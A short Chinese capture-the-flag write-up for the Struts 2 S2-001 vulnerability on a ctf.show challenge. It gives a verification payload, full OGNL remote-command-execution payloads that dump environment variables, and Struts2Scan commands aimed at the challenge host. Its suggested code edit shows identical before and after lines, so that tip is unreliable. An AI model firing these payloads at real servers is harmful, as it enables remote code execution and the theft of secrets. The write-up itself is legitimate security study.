点击链接跳转后,在URL发现 S2-001
,搜了一下发现是 Struts 2 漏洞
漏洞影响范围
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
漏洞验证
%{1+1}
如果直接 POST 发包注意 URL编码一下
命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/proc/self/environ"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
注意执行命令时,命令的参数往数组加元素即可,而不是在一个数组元素里 ls /
。
flag 在 env 里
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
参考链接
https://xz.aliyun.com/t/2044
漏洞利用工具
https://github.com/HatBoy/Struts2-Scan/
使用方式
检测漏洞存在性
python3 Struts2Scan.py -u http://c56840a6-a7a3-4b67-ab06-f786d1bbed1c.challenge.ctf.show:8080/S2-001/login.actio
漏洞利用
python3 Struts2Scan.py -u http://c56840a6-a7a3-4b67-ab06-f786d1bbed1c.challenge.ctf.show:8080/S2-001/login.action -n S2-001 --exec
这里有个小坑,想进交互模式需要改一下代码,
# 大概在 Struts2Scan.py 1707行
if name not in s2_list
# 改为
if name not in s2_list
不然利用进入交互模式会报错
python3 Struts2Scan.py -u http://c56840a6-a7a3-4b67-ab06-f786d1bbed1c.challenge.ctf.show:8080/S2-001/login.action -n S2-001 --exec
[ERROR] 暂不支持S2_001漏洞利用